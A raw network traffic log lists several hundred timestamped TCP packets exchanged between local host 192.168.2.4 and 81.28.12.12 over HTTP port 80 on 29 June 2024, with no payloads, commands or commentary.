Jun 29, 2024 08:05:15.168917894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.168931007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.168968916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.181293964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.181355953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.181382895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.181392908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.181428909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.181436062 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.181440115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.181467056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.181473017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.181482077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.181492090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.181541920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.181541920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.181579113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.181588888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.181597948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.181607962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.181618929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.181629896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.181659937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.181735992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.181746006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.181778908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.181797981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.181797028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.181807995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.181844950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.181848049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.181854963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.181891918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.181921959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.181931019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.181942940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.181952000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.181961060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.181977034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.182018995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.182018995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.183168888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.183217049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.183228016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.183237076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.183269978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.183269978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.183327913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.183339119 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.183348894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.183360100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.183386087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.183418036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.183480024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.183490992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.183501005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.183510065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.183526039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.183536053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.183540106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.183540106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.183546066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.183556080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.183561087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.183566093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.183583021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.183623075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.183810949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.183820963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.183830976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.183840990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.183870077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.183900118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.183964968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.183974981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.183984041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.183994055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.184010983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.184041023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.184111118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.184120893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.184134007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.184165001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.184194088 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.184875011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.184927940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.184933901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.184940100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.184993029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.184977055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.184993982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.185002089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.185029984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.185040951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.185051918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.185061932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.185089111 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.185122967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.185133934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.185168982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.185264111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.185275078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.185282946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.185292959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.185302019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.185316086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.185348988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.185348988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.185380936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.185396910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.185436964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.185476065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.185489893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.185501099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.185527086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.185558081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.185570002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.185580015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.185616016 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.185643911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.185889006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.185935974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.185939074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.185945988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.185976028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.185995102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.185997009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.186012983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.186023951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.186033964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.186059952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.186088085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.186089993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.186135054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.186151981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.186203957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.186208010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.186218023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.186254978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.186268091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.186278105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.186288118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.186296940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.186317921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.186347961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.253761053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.253828049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.253829002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.253839970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.253871918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.253890038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.253890991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.253901958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.253914118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.253923893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.253945112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.253973961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.254007101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.254018068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.254045010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.254075050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.254082918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.254093885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.254138947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.254173040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.254183054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.254211903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.254226923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.254231930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.254236937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.254287958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.257069111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.257082939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.257092953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.257122040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.257152081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.257260084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.257271051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.257281065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.257291079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.257316113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.257345915 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.258369923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.258404970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.258414030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.258428097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.258460045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.258460045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.258619070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.258629084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.258640051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.258650064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.258658886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.258672953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.258701086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.270931005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.270951033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.270960093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.270975113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.270986080 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.271018982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.271028996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.271035910 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.271039963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.271050930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.271075010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.271100044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.271193981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.271204948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.271250963 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.271265030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.271274090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.271284103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.271294117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.271315098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.271316051 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.271352053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.271352053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.271369934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.271379948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.271414995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.271445036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.271452904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.271464109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.271476030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.271502018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.271532059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.271572113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.271581888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.271625996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.271655083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.271665096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.271697998 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.271728039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.272527933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.272598028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.272625923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.272635937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.272651911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.272661924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.272675991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.272711039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.272711039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.272855043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.272864103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.272874117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.272883892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.272893906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.272906065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.272913933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.272917032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.272922993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.272939920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.272985935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.272994041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.273046017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.273058891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.273070097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.273103952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.273108006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.273118973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.273149967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.273179054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.273185015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.273196936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.273235083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.273261070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.273299932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.273309946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.273320913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.273330927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.273341894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.273376942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.273405075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.273466110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.273475885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.273519039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.273525000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.273535967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.273576975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.274527073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.274534941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.274595022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.274629116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.274637938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.274648905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.274676085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.274705887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.274736881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.274753094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.274763107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.274772882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.274785995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.274813890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.274967909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.274976969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.274987936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.274996996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.275022984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.275048018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.275048971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.275058031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.275065899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.275078058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.275085926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.275095940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.275095940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.275118113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.275160074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.275219917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.275229931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.275278091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.275305986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.275367022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.275454998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.275509119 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.275515079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.275527000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.275562048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.275577068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.275582075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.275588036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.275635958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.275670052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.275680065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.275718927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.275729895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.275736094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.275738955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.275780916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.275808096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.275816917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.275826931 CEST	80	49731	81.28.12.12	192.168.2.4
